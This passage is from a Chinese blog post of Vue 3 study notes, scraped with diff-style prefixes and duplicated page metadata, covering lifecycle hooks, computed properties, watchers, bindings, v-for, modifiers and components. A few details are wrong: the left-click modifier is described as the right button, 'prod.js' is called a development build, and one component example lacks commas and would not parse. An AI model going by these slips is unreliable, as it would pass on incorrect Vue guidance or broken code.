methods）都已经初始化，dom节点处理完成，组件未加载</p><p>beforeMount：实例已经加载完毕，但是还没有执行挂载操作，得不到具体的DOM元素</p><p>mounted：实例已经加载完毕，也执行了挂载操作，DOM已被渲染出来</p><p>beforeUpdate：处于数据更新之前，data中的值是最新的，但是页面上还是旧的数据，还没有重新处理dom节点</p><p>updated：处于数据更新之后，data中的值和页面上的数据都已经更新，dom节点也被重新处理</p><p>beforeUnmount：实例销毁之前，实例还是在可用状态，可使用this获取实例</p><p>unmounted：实例销毁后，数据绑定和事件监听器全部清除，子实例销毁</p><p>例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;&lt;/div&gt;
-
-
-const app = Vue.createApp({
-    data(){
-        return{
-            message: 'hallo word'
-        }
-    },
-    beforeCreate() {
-        console.log(&quot;beforeCreate&quot;)
-    },
-    created() {
-        console.log(&quot;created&quot;)
-    },
-    beforeMount(){
-        console.log(&quot;beforeMount&quot;)
-    },
-    mounted() {
-        console.log(&quot;mounted&quot;)
-    },
-    beforeUpdate() {
-        console.log(&quot;beforeUpdate&quot;)
-    },
-    updated() {
-        console.log(&quot;updated&quot;)
-    },
-    beforeUnmount() {
-        console.log(&quot;beforeUnmount&quot;)
-    },
-    unmounted() {
-        console.log(&quot;unmounted&quot;)
-    },
-    template: &quot;&lt;h2&gt;{{message}}&lt;/h2&gt;&quot;
-    
-})
-let main = app.mount(&quot;#app&quot;)
-setTimeout(()=&gt;{
-    main.$data.message = 'abc' // 挂载3秒后触发更新事件
-},3000)
-setTimeout(() =&gt; {
-    app.unmount() // 6秒后触发销毁事件
-}, 6000)
-</code></pre><p>访问组件的生命周期</p><p>vue组件周期</p><p>实例生命周期加on就是组件周期</p><p>beforeCreate和created统一为setup()</p><p>beforeMount为onBeforeMout，mounted为onMounted，beforeUpdate为onBeforeUpdate，updated为onUpdated，beforeUnmount为onBeforeUnmount，unmounted为onUnmounted</p><p>setup：data 和 method 都已经初始化</p><p>onBeforeMount：组件被挂载到dom节点之前</p><p>onMounted：组件被挂载到dom节点完毕</p><p>onBeforeUpdate：组件更新之前</p><p>onUpdated：组件更新之后</p><p>onBeforeUnmount：组件销毁之前</p><p>onUnmounted：组件销毁完毕之后</p><p>onErrorCaptured：当捕获到来自子孙组件的异常时</p><p>onRenderTracked：当虚拟DOM重新渲染时调用</p><p>onRenderTriggered：当虚拟DOM重新渲染被触发时调用</p><p>onActivated：当被包含在中的组件时</p><p>onDeactivated: 当被包含在中的组件发生改变时（例如切换组件，原来的组件销毁时）</p><p>注意：使用的组件会把数据保留在内存中，避免需要重新加载多次数据</p><hr><p>实例的data()是一个函数，并非方法，vue在创建vue的组件实例过程中会调用该函数，以$data的形式进行存储在vue实例中，data中的所有值都可以通过实例来暴露（访问或者修改），例如：</p><pre><code>const hallo = Vue.createApp({
-    data() {
-        return {
-            hallovuejs: &quot;hallo vuejs!&quot;
-        }
-    }
-}).mount(&quot;#app&quot;)
-console.log(hallo.$data.hallovuejs)
-console.log(hallo.hallovuejs)
-</code></pre><hr><p>方法</p><p>vue允许使用methods向组件实例添加方法</p><p>vue会自动为methods绑定this，使其始终指向组件实例</p><p>methods一样可以在组件模板中暴露，也可以在模板中用做事件监听</p><pre><code>&lt;div @click=&quot;alinkclick&quot;&gt;&lt;/div&gt;
-</code></pre><hr><p>计算属性</p><p>计算属性和方法的区别就是：计算属性只在其依赖发生变化才重新计算，只要依赖未发生改变，那么就会直接从缓存中获取，不会再执行其函数</p><p>如果使用一个方法来计算时，那么data()返回的值，发生一次改变，事件方法就会重新计算一次，因此涉及计算类的使用计算属性，而不是方法</p><p>例如：</p><pre><code>const app = Vue.createApp({
-    data() {
-        return {
-            hallovuejs: &quot;hallo vuejs!&quot;
-        }
-    },
-    computed: {
-        hallo(){
-            return this.hallovuejs == &quot;hallo vuejs!&quot; ? &quot;Yes&quot; : &quot;No&quot;
-        }
-    }
-}).mount(&quot;#app&quot;)
-</code></pre><hr><p>watch监听器</p><p>watch接收2个参数，被监听的data()属性值，回调函数，当监听的变量发生改变时，自动执行回调函数，例如</p><pre><code>const app = Vue.createApp({
-    data() {
-        return {
-            num: 100
-        }
-    },
-    watch: {
-        num(current, prev) {
-            console.log('num发生改变')
-            console.log(&quot;改变之后的值:&quot;, current)
-            console.log(&quot;改变之前的值:&quot;, prev)
-        }
-    }
-})
-let vm = app.mount(&quot;#app&quot;)
-vm.num = 300
-vm.$data.num = 600
-</code></pre><p>另外一种使用方法</p><pre><code>const count = ref(100) 
-watch(count,(current, prev) =&gt; {
-    console.log('num发生改变')
-    console.log(&quot;改变之后的值:&quot;,current)
-    console.log(&quot;改变之前的值:&quot;,prev)
-})
-</code></pre><p>watch和计算属性的区别：虽然都可以监听data()属性值的改变，但是计算属性会在页面渲染时触发一次，而watch只在被监听的发生改变时触发，而且watch可以得到改变之后的值和改变之前的值</p><p>watch可以监听多个值</p><hr><p>class绑定</p><p>vue允许使用:class对象来动态切换class，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;p :class=&quot;{container: yes,nav: no}&quot;&gt;&lt;/p&gt;
-&lt;/div&gt;
-
-&lt;script&gt;
-const hallo = Vue.createApp({
-    data() {
-        return {
-            yes: true,
-            no: false
-        }
-    }
-}).mount('#app')
-&lt;/script&gt;
-</code></pre><p>而class的存在取决于键值对的值，允许传入多个值，也可以直接调用对象，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;p :class=&quot;classnav&quot;&gt;&lt;/p&gt;
-&lt;/div&gt;
-
-&lt;script&gt;
-const hallo = Vue.createApp({
-    data() {
-        return {
-            classnav: {
-                container: false,
-                nav: true
-            }
-        }
-    }
-}).mount('#app')
-&lt;/script&gt;
-</code></pre><p>vue也允许通过数组来传入class，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;p :class=&quot;[classnav,classa]&quot;&gt;&lt;/p&gt;
-&lt;/div&gt;
-
-&lt;script&gt;
-const hallo = Vue.createApp({
-    data() {
-        return {
-            classnav: &quot;nav&quot;,
-            classa: &quot;texta&quot;
-        }
-    }
-}).mount('#app')
-&lt;/script&gt;
-</code></pre><p>同样也允许使用三元表达式，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;p :class=&quot;[no ? classnav: '',classa]&quot;&gt;&lt;/p&gt;
-&lt;/div&gt;
-
-&lt;script&gt;
-const hallo = Vue.createApp({
-    data() {
-        return {
-           no: false,
-           classa: &quot;texta&quot;
-        }
-    }
-}).mount('#app')
-&lt;/script&gt;
-</code></pre><p>始终添加classa，classnav取决已经no的值</p><p>vue也是允许在数组中使用对象来处理</p><p>如果在组件中已经绑定了class，而在调用其又加上其他class，那么就会合并，vue允许在组件中进行:class，如果有多个元素，在调用时绑定class，但是又想指定其class给予某个，可以使用$attrs组件属性，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;test class=&quot;nav&quot;&gt;&lt;/test&gt;
-&lt;/div&gt;
-&lt;script&gt;
-const hallo = Vue.createApp({}).component(&quot;test&quot;,{
-    template: `
-        &lt;div&gt;hallo&lt;/div&gt;
-        &lt;div :class=&quot;$attrs.class&quot;&gt;vuejs&lt;/div&gt;
-        `
-}).mount('#app')
-&lt;/script&gt;
-</code></pre><p>上面只有&lt;div>vuejs&lt;/div>接收到class</p><hr><p>内联样式绑定（:style）</p><p>例子：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;div :style=&quot;{ color: a, margin: b + 'px' }&quot;&gt;&lt;/div&gt;
-&lt;/div&gt;
-&lt;script&gt;
-const hallo = Vue.createApp({
-    data() {
-        return {
-            a: &quot;#ccc&quot;,
-            b: 300
-        }
-    },
-}).mount('#app')
-&lt;/script&gt;
-</code></pre><p>多重值</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;div :style=&quot;{ color: ['#ccc','#fff','#000']}&quot;&gt;&lt;/div&gt;
-&lt;/div&gt;
-</code></pre><p>一般来说只会选择最后一个（前提是浏览器支持）</p><hr><p>列表渲染</p><p>v-for可以将一个数组迭代成一组元素</p><p>使用的形式是 item in items，items为数组，item为迭代的元素，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;div v-for=&quot;item in items&quot; :key=&quot;item.message&quot;&gt;
-        {{ item.message }}
-    &lt;/div&gt;
-&lt;/div&gt;
-&lt;script&gt;
-const hallo = Vue.createApp({
-    data() {
-        return {
-            items: [{message: &quot;xyz&quot;},{message: &quot;abc&quot;},{message: &quot;hallo&quot;}]
-        }
-    },
-}).mount('#app')
-</code></pre><p>而:key的作用是为了更加效率的渲染dom，更快判断出某个不存在的元素，可以根据key动态来重新排列元素的顺序，key的目的是保证唯一性</p><p>v-for支持index参数，即当前的索引，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;div v-for=&quot;(item,index) in items&quot;&gt;
-        {{ index }}:{{ item.message }}
-    &lt;/div&gt;
-&lt;/div&gt;
-&lt;script&gt;
-const hallo = Vue.createApp({
-    data() {
-        return {
-            items: [{message: &quot;xyz&quot;},{message: &quot;abc&quot;},{message: &quot;hallo&quot;}]
-        }
-    },
-}).mount('#app')
-&lt;/script&gt;
-</code></pre><p>in可以用of替代</p><pre><code>&lt;div v-for=&quot;(item,index) of items&quot;&gt;
-</code></pre><p>v-for也可以使用对象(从某个角度来看，数组也是对象的一种)，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;div v-for=&quot;(item,key) of items&quot; &gt;
-        {{ key }}:{{ item }}
-    &lt;/div&gt;
-&lt;/div&gt;
-&lt;script&gt;
-const hallo = Vue.createApp({
-    data() {
-        return {
-            items: {
-                hallo: &quot;yes&quot;,
-                abc: &quot;2002&quot;,
-                xyz: &quot;np&quot;
-            }
-        }
-    },
-}).mount('#app')
-</code></pre><p>第二参数为键名，这里命名为key，实质上就是一个key</p><p>也可以加index做为第三个参数，作为索引值</p><p>vue在渲染元素时，如果数据的顺序发生改变，vue是不会将dom元素进行适配顺序，而是重新更新数据，确保正确渲染</p><p>v-for也支持整数</p><pre><code>&lt;div v-for=&quot;a in 6&quot; :key=&quot;a&quot;&gt;&lt;/div&gt;
-</code></pre><p>和遍历一样，会重复对应的次数</p><hr><p>事件处理</p><p>一般用v-on进行监听事件，例如：</p><pre><code>&lt;div v-on:click=&quot;boom&quot;&gt;&lt;/div&gt;
-</code></pre><p>多个事件用逗号,分开</p><p>可以简写为@click=&ldquo;boom&rdquo;，boom是方法，不推荐直接将逻辑写在事件v-on，而是使用一个方法来调用，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;div @click=&quot;boom('yes')&quot;&gt;
-        hallo
-    &lt;/div&gt;
-&lt;/div&gt;
-&lt;script&gt;
-const hallo = Vue.createApp({
-    data() {
-        return {
-            abc: &quot;hallo&quot;
-        }
-    },
-    methods: {
-        boom(a){
-            console.log(this.abc + &quot;boom&quot;)
-            console.log(a)
-        }
-    }
-}).mount('#app')
-</code></pre><p>按键修饰符</p><p>一般用于监听键盘事件，精确的知道某个按键是否被触发</p><p>.enter：顾名思义 回车键</p><p>.tab：tab键</p><p>.delete：删除或者退格</p><p>.esc：esc键</p><p>.space：空格键</p><p>.up：上键</p><p>.down：下键</p><p>.left：左键&lt;</p><p>.right: 右键></p><p>系统修饰符</p><p>.ctrl：ctrl键</p><p>.alt：alt键</p><p>.shift：shift键</p><p>.meta：在win为windows键，在mac为command键</p><p>例如：</p><pre><code>&lt;input @keydown.enter=&quot;submit&quot; /&gt;
-</code></pre><p>上面只要触发一个要求就会被触发</p><p>.exact：精确触发</p><p>@keydown.enter.exact // 只有当enter被按下时触发</p><p>@keydown.exact // 只有在没有任何系统修饰符被按下才触发</p><p>鼠标修饰符</p><p>@click.left：鼠标右键</p><p>@click.right：鼠标右键</p><p>@click.middle：鼠标中键</p><p>例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;test class=&quot;nav&quot;&gt;&lt;/test&gt;
-&lt;/div&gt;
-&lt;script&gt;
-const hallo = Vue.createApp({}).component(&quot;test&quot;,{
-    methods: {
-        entersubmit(){
-            console.log('回车事件已触发')
-        }
-        clickmouse(){
-            console.log('鼠标中键事件已触发')
-        }
-    }
-    template: `
-        &lt;input @keydown.enter.exact=&quot;submit&quot; /&gt;
-        &lt;div @click.middle = &quot;clickmouse&quot;&gt;hallo word&lt;/div&gt;
-        `
-}).mount('#app')
-&lt;/script&gt;
-</code></pre><hr><p>自定义指令（directive）</p><p>vue允许指定义指令，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;input type=&quot;text&quot; v-hallo&gt;
-&lt;/div&gt;
-&lt;script&gt;
-const app = Vue.createApp({})
-app.directive(&quot;hallo&quot;,{
-    mounted(abc) {
-        abc.focus()
-    },
-})
-app.mount('#app')
-&lt;/script&gt;
-</code></pre><p>这里的abc指定的是当前元素</p><p>局部指令：组件中接受directives选项</p><p>指令的钩子函数</p><p>created：当绑定元素的属性和事件监听器被应用之前调用</p><p>beforeMount：当指令第一次绑定到元素并且在挂载父组件之前调用</p><p>mounted：绑定元素的父组件被挂载后调用</p><p>beforeUpdate：更新包含组件的VNode之前调用</p><p>updated：包含组件的VNode及其子组件的VNode更新后调用</p><p>beforeUnmount：在卸载绑定元素的父组件之前调用</p><p>unmounted：当指令与元素解除绑定，并且父组件也被卸载时调用一次</p><hr><p>表单输入绑定</p><p>v-model可以用于数据的双向绑定，但是v-model会忽略表单元素的初始值，而使用实例中的数据作为数据源（需要在data中声明初始值）</p><p>复选框的数据绑定返回的是布尔值，也是可以将数据绑定到一个数组中，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;input type=&quot;checkbox&quot; value=&quot;hallo&quot; v-model=&quot;datas&quot;/&gt;
-    &lt;label for=&quot;hallo&quot;&gt;hallo&lt;/label&gt;
-    &lt;input type=&quot;checkbox&quot; value=&quot;abc&quot; v-model=&quot;datas&quot;/&gt;
-    &lt;label for=&quot;abc&quot;&gt;abc&lt;/label&gt;
-    &lt;input type=&quot;checkbox&quot; value=&quot;xyz&quot; v-model=&quot;datas&quot;/&gt;
-    &lt;label for=&quot;xyz&quot;&gt;xyz&lt;/label&gt;
-    &lt;p&gt;
-        data: {{datas}}
-    &lt;/p&gt;
-&lt;/div&gt;
-&lt;script&gt;
-const hallo = Vue.createApp({
-    data() {
-        return {
-            datas: []
-        }
-    },
-}).mount('#app')
-&lt;/script&gt;
-</code></pre><p>单选框（radio），数据存放在字符串中，输出的也是字符串（选择框和输入框也是字符串）</p><p>如果想输入或者选择返回的不是字符串，而是其他类型，可以使用v-model.number，当然也是可以进行手动转类型，但是v-model.number可以自动判断输入是否是数字还是字符串</p><p>true-value和false-value可以在被选中或者取消选中时触发，例如：</p><pre><code>data: {{datas}}
-&lt;input type=&quot;checkbox&quot; v-model.lazy=&quot;datas&quot; true-value=&quot;halloword&quot; false-value=&quot;hahahah&quot;/&gt;
-</code></pre><p>v-model.lazy是v-model数据双向绑定的懒加载，在每次input事件（失去焦点）触发后将输入框的值与数据进行同步</p><p>v-model.trim可以自动过滤掉输入数据的首尾空格</p><hr><p>组件</p><p>全局注册</p><p>app.component</p><p>局部注册</p><pre><code>const componentA = {}
-
-components: {
-    'component-a': componentA,
-}
-</code></pre><p>局部注册的组件，在其子组件是不可用的</p><p>通过Props传递数据给子组件</p><p>通过Props共享一些数据，例如：</p><pre><code>app.component('titles', {
-    props: ['title'],
-    template: `&lt;h3&gt;{{ title }}&lt;/h3&gt;`
-})
-
-&lt;titles title=&quot;hallo&quot;&gt;&lt;/titles&gt;
-</code></pre><p>在上面的例子里，title=&ldquo;hallo"被传递数据给模板，任何值的可以传递给props，如果一个值被传递给props属性，那么这个值就成了这个组件实例的共享数据，这个值可以在模板中访问</p><p>监听子组件事件</p><p>使用自定义事件监听子组件，通过子组件事件来告诉父组件应该做什么，例如：</p><pre><code>template: `
-    &lt;button @click=&quot;$emit('hallomain')&quot;&gt;
-        app
-    &lt;/button&gt;
-`
-
-&lt;div :style=&quot;{fontWeight: yes}&quot;&gt;
-    &lt;hallo @hallomain=&quot;yes += 1&quot;&gt;&lt;/hallo&gt;
-&lt;/div&gt;
-</code></pre><p>也可以在组件的emits中列出事件</p><pre><code>app.component({
-    emits: [&quot;hallomain&quot;]
-})
+<div id=&#34;app&#34;> <button v-on:click=&#34;go&#34;>{{ main }}</button> </div> <script> const hallo ={ data() { return { main: &#34;hallo&#34; } }, methods: { go: function(){ console."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"vuejs基础学习笔记","item":"https://chenjunlinabc.github.io/posts/23/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"vuejs基础学习笔记","name":"vuejs基础学习笔记","description":"vuejs的核心层就是只关心视图层的，本笔记使用的是最新版本的vue3\nvue全家桶：Vue+VueRouter+Vuex\nvue名字来源于法语（中文翻译为视图），可以看出其对视图层的重视\n导入一般都是使用cdn导入或者直接下载vuejs进行托管，也可以使用npm安装或者使用官方的CLI来构建一个应用\nhttps://unpkg.com/vue@next\ncjs版本：完整版，包含编译器\nprod.js都是开发版，代码进行了压缩\nglobal版本：可以直接通过scripts标签导入，会建立一个全局Vue对象\nbrowser版本：包含esm,浏览器模块\nbundler版本：该版本不是完整版，min\nvuejs模板支持所有JavaScript表达式\nvuejs本身是用声明式渲染把数据渲染到html dom中，渲染格式为{{\u0026hellip;}}，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;p\u0026gt;{{ hallovuejs }}\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo ={ data() { return { hallovuejs: \u0026quot;hallo vuejs!\u0026quot; } } } Vue.createApp(hallo).mount(\u0026quot;#app\u0026quot;) \u0026lt;/script\u0026gt; vue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;a v-bind:href=\u0026quot;url\u0026quot;\u0026gt;{{ main }}\u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo ={ data() { return { url:\u0026quot;https://xiaochenabc123.test.com\u0026quot;, main: \u0026quot;小陈的辣鸡屋\u0026quot; } } } Vue.createApp(hallo).mount(\u0026quot;#app\u0026quot;) \u0026lt;/script\u0026gt; 这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图\n而vue还提供了可以绑定事件的v-on属性，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;button v-on:click=\u0026quot;go\u0026quot;\u0026gt;{{ main }}\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo ={ data() { return { main: \u0026quot;hallo\u0026quot; } }, methods: { go: function(){ console.","keywords":["vuejs"],"articleBody":"vuejs的核心层就是只关心视图层的，本笔记使用的是最新版本的vue3\nvue全家桶：Vue+VueRouter+Vuex\nvue名字来源于法语（中文翻译为视图），可以看出其对视图层的重视\n导入一般都是使用cdn导入或者直接下载vuejs进行托管，也可以使用npm安装或者使用官方的CLI来构建一个应用\nhttps://unpkg.com/vue@next\ncjs版本：完整版，包含编译器\nprod.js都是开发版，代码进行了压缩\nglobal版本：可以直接通过scripts标签导入，会建立一个全局Vue对象\nbrowser版本：包含esm,浏览器模块\nbundler版本：该版本不是完整版，min\nvuejs模板支持所有JavaScript表达式\nvuejs本身是用声明式渲染把数据渲染到html dom中，渲染格式为{{…}}，例如：\n{{ hallovuejs }}\nvue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：\n{{ main }} 这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图\n而vue还提供了可以绑定事件的v-on属性，例如：\n{{ main }} v-on可以绑定多个事件，例如：\n{{ main }} v-model可以进行数据的双向绑定，不但可以赋予元素中的数据，也可以获取元素中的数据，例如：\n{{ main }} v-show可以根据表达式的值来判断是否显示，方法和v-if一样，但是隐藏的方法是加上了display: none;，v-show不支持template和v-else，如果没有频繁切换的需求可选择v-if，频繁切换会重新渲染情况严重，而且v-show只是修改css属性而已\nv-if可以进行条件判断，会根据表达式的值来判断，例如\n{{ main }} 当值为false时，该元素就会被隐藏\nv-else 该指令必须跟着v-if或者v-else-if指令的元素的后面，否则不会被识别，例如：\n{{ main }} 这是v-if判断为假时渲染，v-if判断为真时不渲染 v-else-if，必须前面的元素中有v-if或者v-else-if指令，例如：\nyes_no == yes yes_no == no yes_no != no||yes v-for可以多次渲染元素，例如：\n{{a}} 注意：当v-for和v-if出现在同级时，v-for优先级比v-if高，因此不要在v-for下，使用v-if过滤，应该在v-if下使用v-for，v-if应该使用（不会创建dom元素）\nv-html可以插入html\nv-once表示该元素或者组件只渲染一次，后面不会因为数据的改变而重新渲染\n动态参数的实现\nconst hallo = { data() { return { main: \"hallo\", abc: \"classa\" } }, template: `hallo word` } Vue.createApp(hallo).mount(\"#app\") vuejs提供了一个叫组件的概念，将重复的程序进行封装，用这些被封装的组件来构建大型应用，可以理解为积木\n根组件：挂载应用时，该组件被认为是渲染的起点\n如果想挂载一个应用到id为app的dom元素中，那么就需要挂载#app，通过一个vue实例，调用其component()方法，创建一个组件\n上面简单说明了一下组件的概念,下面详细说明一下组件和组件实例\n页面是这些组件的容器，因此，组件在页面中表达出来的是原生html\n模板（template）：模板定义了数据和html dom的绑定关系\n初始数据（data）：组件的初始数据，组件具有作用域，因此是处于封装私有状态的\n接收的外部参数（props）：组件之间通过该参数进行数据的传递和分享(单向，只能从父组件中获取，不能进行修改,父传子)\n方法（methods）：对数据的改动一般都在组件的方法内进行操作，通过v-on指令把输入事件和组件方法进行绑定\n生命周期钩子（lifecycle hooks）：每个实例都会触发多个生命周期钩子，从创建到废弃的过程就是生命周期，可以在不同时候进行逻辑处理，另外还有组件生命周期\n组件：一种对数据和方法的封装\nmount()返回的是组件实例\n组件实例：组件继承于组件，通过createApp()建立组件实例\n当需要进行数据计算处理时，例如将两个数据合并，如果通过正常的表达式来表示，那么一旦数据处理复杂了，程序会显得很繁杂，vuejs中提供了一个叫计算属性的东西，例如：\n{{hallo}} 样式绑定\n组件是可重复使用的实例，例如：\nconst app = Vue.createApp({}) app.component(\"test\",{ data() { return { abc: \"hallo\" } }, template: ` {{abc}} word ` }) app.mount(\"#app\") 全局组件\n一般来说组件的数据是独享的，只有全局组件才能进行数据访问，例如：\nconst app = Vue.createApp({ template: ` ` // 父组件 }) app.component(\"test\",{ template: `` // 全局组件 }) app.component(\"abc\",{ data() { return { text: \"hallo word\" } }, template: ` {{text}} ` // 全局组件 }) app.mount('#app') abc组件分享了数据给test组件\n局部组件\nconst Test_date ={ template: \"hallo word\n\" // 局部组件 } const Test_datea ={ template: \"hallo hhh\n\" // 局部组件 } const app = Vue.createApp({ components: { \"test\" :Test_date Test_datea } }).mount('#app') 其中test为组件名，指向了Test_date局部组件，\n父子组件之间传递数据\n静态传值只能传字符串类型，如果要传其他数据类型或者想动态传递数据，可以使用v-bind\n通过循环来输出一组数据\n传值校验\nprops中的值进行验证，例如：\nvuejs事件修饰符\n.stop：阻止冒泡事件的发生，只触发自身的事件，一个子元素定义了事件，但是它的父元素也定义了一个事件，而且这两个事件的触发机制还是一样的，那么就会导致这两个事件都触发，而想避免发生就需要在目标元素上的事件加上.stop，例如：\n.prevent：拦截默认事件的发生，有一些标记拥有自身的默认事件，例如a标记，例如：\n{{data}} 这里阻止了a标记的默认事件\n.capture：捕获事件，当发生冒泡事件时，先触发带有该修饰符的，如果有多个，则从父元素到子元素触发\n触发机制：优先触发带有.capture的，然后再按照从内往外的冒泡\n.self：只有当事件在该元素上时才触发，冒泡和捕获都无法让其触发事件，只要当事件发生在该元素本身才会触发\n.once：指定该绑定的事件只会触发一次\n.stop和.self的区别：.stop会阻止全部冒泡事件，而.self只阻止自身的冒泡\n.passive：每一次发生事件，浏览器都去查询有没有preventDefault来阻止该事件的默认行为，.passive就是来声明，没有使用preventDefault来阻止该事件的默认行为，因为其是告诉没有使用阻止事件的默认行为，所有passive是和prevent冲突，不能一起使用，否则.prevent会被忽略\n因为在移动端，一般都是监听滚动事件比较多，而每移动一次都会触发一次事件，会进行查询有没有使用prevent，可能会导致滑动卡顿，使用passive能有效提升移动端的性能和流畅度\n生命周期钩子函数会在某一些特定的时刻自动触发，方便在该时刻完成一些工作\nvue实例生命周期\nvue实例的创建，运行，到销毁期间，会触发一些叫生命周期钩子的函数，可以通过该来监听数据变化\n按照生命周期排序：\nbeforeCreate：实例刚刚初始化之后，数据观察和事件机制（data 和 methods）都还未初始化，不能获取dom节点\ncreated：数据观察和事件机制（data 和 methods）都已经初始化，dom节点处理完成，组件未加载\nbeforeMount：实例已经加载完毕，但是还没有执行挂载操作，得不到具体的DOM元素\nmounted：实例已经加载完毕，也执行了挂载操作，DOM已被渲染出来\nbeforeUpdate：处于数据更新之前，data中的值是最新的，但是页面上还是旧的数据，还没有重新处理dom节点\nupdated：处于数据更新之后，data中的值和页面上的数据都已经更新，dom节点也被重新处理\nbeforeUnmount：实例销毁之前，实例还是在可用状态，可使用this获取实例\nunmounted：实例销毁后，数据绑定和事件监听器全部清除，子实例销毁\n例如：\nconst app = Vue.createApp({ data(){ return{ message: 'hallo word' } }, beforeCreate() { console.log(\"beforeCreate\") }, created() { console.log(\"created\") }, beforeMount(){ console.log(\"beforeMount\") }, mounted() { console.log(\"mounted\") }, beforeUpdate() { console.log(\"beforeUpdate\") }, updated() { console.log(\"updated\") }, beforeUnmount() { console.log(\"beforeUnmount\") }, unmounted() { console.log(\"unmounted\") }, template: \"{{message}}\" }) let main = app.mount(\"#app\") setTimeout(()=\u003e{ main.$data.message = 'abc' // 挂载3秒后触发更新事件 },3000) setTimeout(() =\u003e { app.unmount() // 6秒后触发销毁事件 }, 6000) 访问组件的生命周期\nvue组件周期\n实例生命周期加on就是组件周期\nbeforeCreate和created统一为setup()\nbeforeMount为onBeforeMout，mounted为onMounted，beforeUpdate为onBeforeUpdate，updated为onUpdated，beforeUnmount为onBeforeUnmount，unmounted为onUnmounted\nsetup：data 和 method 都已经初始化\nonBeforeMount：组件被挂载到dom节点之前\nonMounted：组件被挂载到dom节点完毕\nonBeforeUpdate：组件更新之前\nonUpdated：组件更新之后\nonBeforeUnmount：组件销毁之前\nonUnmounted：组件销毁完毕之后\nonErrorCaptured：当捕获到来自子孙组件的异常时\nonRenderTracked：当虚拟DOM重新渲染时调用\nonRenderTriggered：当虚拟DOM重新渲染被触发时调用\nonActivated：当被包含在中的组件时\nonDeactivated: 当被包含在中的组件发生改变时（例如切换组件，原来的组件销毁时）\n注意：使用的组件会把数据保留在内存中，避免需要重新加载多次数据\n实例的data()是一个函数，并非方法，vue在创建vue的组件实例过程中会调用该函数，以$data的形式进行存储在vue实例中，data中的所有值都可以通过实例来暴露（访问或者修改），例如：\nconst hallo = Vue.createApp({ data() { return { hallovuejs: \"hallo vuejs!\" } } }).mount(\"#app\") console.log(hallo.$data.hallovuejs) console.log(hallo.hallovuejs) 方法\nvue允许使用methods向组件实例添加方法\nvue会自动为methods绑定this，使其始终指向组件实例\nmethods一样可以在组件模板中暴露，也可以在模板中用做事件监听\n计算属性\n计算属性和方法的区别就是：计算属性只在其依赖发生变化才重新计算，只要依赖未发生改变，那么就会直接从缓存中获取，不会再执行其函数\n如果使用一个方法来计算时，那么data()返回的值，发生一次改变，事件方法就会重新计算一次，因此涉及计算类的使用计算属性，而不是方法\n例如：\nconst app = Vue.createApp({ data() { return { hallovuejs: \"hallo vuejs!\" } }, computed: { hallo(){ return this.hallovuejs == \"hallo vuejs!\" ? \"Yes\" : \"No\" } } }).mount(\"#app\") watch监听器\nwatch接收2个参数，被监听的data()属性值，回调函数，当监听的变量发生改变时，自动执行回调函数，例如\nconst app = Vue.createApp({ data() { return { num: 100 } }, watch: { num(current, prev) { console.log('num发生改变') console.log(\"改变之后的值:\", current) console.log(\"改变之前的值:\", prev) } } }) let vm = app.mount(\"#app\") vm.num = 300 vm.$data.num = 600 另外一种使用方法\nconst count = ref(100) watch(count,(current, prev) =\u003e { console.log('num发生改变') console.log(\"改变之后的值:\",current) console.log(\"改变之前的值:\",prev) }) watch和计算属性的区别：虽然都可以监听data()属性值的改变，但是计算属性会在页面渲染时触发一次，而watch只在被监听的发生改变时触发，而且watch可以得到改变之后的值和改变之前的值\nwatch可以监听多个值\nclass绑定\nvue允许使用:class对象来动态切换class，例如：\n而class的存在取决于键值对的值，允许传入多个值，也可以直接调用对象，例如：\nvue也允许通过数组来传入class，例如：\n同样也允许使用三元表达式，例如：\n始终添加classa，classnav取决已经no的值\nvue也是允许在数组中使用对象来处理\n如果在组件中已经绑定了class，而在调用其又加上其他class，那么就会合并，vue允许在组件中进行:class，如果有多个元素，在调用时绑定class，但是又想指定其class给予某个，可以使用$attrs组件属性，例如：\n上面只有vuejs接收到class\n内联样式绑定（:style）\n例子：\n多重值\n一般来说只会选择最后一个（前提是浏览器支持）\n列表渲染\nv-for可以将一个数组迭代成一组元素\n使用的形式是 item in items，items为数组，item为迭代的元素，例如：\n{{ item.message }} in可以用of替代\nv-for也可以使用对象(从某个角度来看，数组也是对象的一种)，例如：\n{{ key }}:{{ item }} 